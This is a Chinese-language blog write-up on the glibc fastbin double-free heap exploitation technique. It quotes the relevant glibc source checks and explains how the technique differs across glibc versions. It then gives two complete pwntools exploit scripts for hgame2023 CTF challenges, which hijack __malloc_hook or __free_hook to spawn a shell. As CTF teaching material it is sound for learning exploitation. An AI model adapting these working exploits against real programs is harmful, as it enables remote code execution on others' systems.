fastbin dup

锵锵!how2heap系列第一篇!正式开始堆漏洞系列的学习!系列模式预计是原理+例题,还有各版本的利用差异。冲!(。・∀・)ノ゙

相关检查(所用源码版本2.23)

malloc中对从fastbin中取chunk的检查只有size的合法性检查

1
2
3
4
5
6
7
8
         if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
//chunksize和相应fastbin链的大小相符检测
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}

free中对于将chunk放进fastbin的检查有:

  • 开始对所有chunk的对齐和大小是否超界的检查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //筛掉一些特别大的chunk(超出内存边界)
    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
    {
    errstr = "free(): invalid pointer";
    errout:
    if (!have_lock && locked)
    (void) mutex_unlock (&av->mutex);
    malloc_printerr (check_action, errstr, chunk2mem (p), av);
    return;
    }
    //对齐检查
    if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
    errstr = "free(): invalid size";
    goto errout;
    }
  • 下一个chunk是不是top chunk
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())


    /*
    If TRIM_FASTBINS set, don't place chunks
    bordering top into fastbins
    */
    && (chunk_at_offset(p, size) != av->top)

    )
  • 下一个chunk的大小是否超界的检查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
       if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
    >= av->system_mem, 0))
    {
    /* We might not have a lock at this point and concurrent modifications
    of system_mem might have let to a false positive. Redo the test
    after getting the lock. */
    if (have_lock
    || ({ assert (locked == 0);
    mutex_lock(&av->mutex);
    locked = 1;
    chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
    }))
    {
    errstr = "free(): invalid next size (fast)";
    goto errout;
    }
  • fastbin的第一个chunk是不是插入的chunk(double free检查)
    1
    2
    3
    4
    5
    if (__builtin_expect (old == p, 0))
    {
    errstr = "double free or corruption (fasttop)";
    goto errout;
    }
  • 以及chunk的大小合法性检查
    1
    2
    3
    4
    5
       if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
    {
    errstr = "invalid fastbin entry (free)";
    goto errout;
    }

利用

2.23-2.25

为了避开free中double free的检查(只检查第一个chunk是不是正在free的chunk),一般在double free中间再free另一个chunk形成a->b->a的形式再通过申请回第一个a来改变最后一个a的fd指针指向fake chunk
一般会将fd指针指向__malloc_hook-0x23,这个地址+8有一个0x7f,可以作为合法的size。这样我们可以在申请chunk的时候申请0x60大小的chunk来绕开chunk的size的合法性检查,将malloc_hook改为one_gadget的地址(free_hook前面全是0)

2.27-2.31

2.26比之前最大的变化就是在fastbin之前增加了tcache,利用方法也发(bian)生(jian)了(dan)变(le)化(ne)

  • 先申请7个chunk填满tcache
  • 再在fastbin中形成a->b->a
  • 再把tcache清空
  • 再申请一个chunk就可以申请到a,同时b和a(2)就会被放进tcache,这时tcache是这样的b->a(fastbin的chunk放进tcache是每次取最后一个chunk再执行tcache_put)
  • 由于tcache中没有size的检查,所以直接改free_hook就行(注意tcache中的指针指向的是chunk中的data)

2.32以上

增加了单链表的指针保护机制以及地址0x10对齐检查(错位找0x7f打fastbin不行了)

例题

hgame2023 week2 fast_note

思路

libc版本2.23
金典的菜单题,有UAF。思路就是先填满tcache利用unsorted bin泄露libc基址,再用fastbin double free将malloc_hook改为one_gadget
这道题麻烦的地方在于四个one_gadget都不可用

其中后三个one_gadget限定的是栈空间,那我们就可以通过realloc调节栈内容

realloc调节栈内容

realloc的执行流程和malloc一样也是先检查hook是否为null,如果不为null就调用hook
realloc函数开头有很多push指令,可以通过push指令抬高栈,push指令的数量可以通过偏移调整

我们可以将malloc_hook填充为realloc+offset(offset可取0,2,4,6,12,13),offset越大,push指令越少,栈地址越高;再将realloc_hook填充为one_gadget。而realloc_hook的地址其实就在malloc_hook上方

在改fd指针时可以一趟改掉

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
#context.log_level = 'debug'

def add(index,size,content):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(size).encode())
p.sendafter(b'Content: ',content)
def delete(index):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
def show(index):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index: ',str(index).encode())

#p=process('./fast')
#gdb.attach(p)
p=remote('week-2.hgame.lwsec.cn',31626)
#libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libc=ELF('./libc-2.23.so')
add(0,0xf0,b'E')
add(1,0x60,b'E')
add(2,0x60,b'E')
add(3,0x60,b'E')
delete(0)
show(0)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
libcbase=u64(s)-0x68-libc.symbols['__malloc_hook']
print(hex(libcbase))
delete(1)
delete(2)
delete(1)
malloc_hook=libcbase+libc.symbols['__malloc_hook']
realloc_addr=libcbase+libc.symbols['realloc']
print(hex(malloc_hook))
one_addr=libcbase+0xf1247
add(4,0x60,p64(malloc_hook-0x23))
add(5,0x60,b'E')
add(6,0x60,b'E')
add(7,0x60,b'\x00'*(0x13-0x8)+p64(one_addr)+p64(realloc_addr+6))
#add(8,0x10,b'a')
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(8).encode())
p.sendlineafter(b'Size: ',str(16).encode())
p.interactive()
#pause()

hgame2023 week2 new_fast_note

libc版本2.31

思路

没啥难度,就是tcache版本的fastbin double free,不说了。就是注意这道题没有重复malloc的检查了(做的时候没看见QAQ)

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(index,size,content):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(size).encode())
p.sendafter(b'Content: ',content)
def delete(index):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
def show(index):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index: ',str(index).encode())

#p=process('./new')
#gdb.attach(p)
#libc=ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
libc=ELF('./libc-2.31.so')
p=remote('week-2.hgame.lwsec.cn',30170)
for i in range(8):
add(i,0xf0,b'Q')
add(8,0x10,b'Q')
for i in range(8):
delete(i)
show(7)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
libcbase=u64(s)-0x70-libc.symbols['__malloc_hook']
print(hex(libcbase))
for i in range(8):
add(i,0xf0,b'Q')
for i in range(9):
add(i,0x20,b'Q')
add(9,0x10,b'Q')
for i in range(9):
delete(i)
delete(7)
for i in range(7):
add(i,0x20,b'Q')
free_hook=libcbase+libc.symbols['__free_hook']
system_addr=libcbase+libc.symbols['system']
add(7,0x20,p64(free_hook))
add(8,0x20,b'Q')
add(9,0x20,b'Q')
add(10,0x20,p64(system_addr))
add(11,0x10,b'/bin/sh\x00')
delete(11)
p.interactive()

fastbin dup
http://akaieurus.github.io/2023/01/23/fastbin-dup/
作者
Eurus
发布于
2023年1月23日
许可协议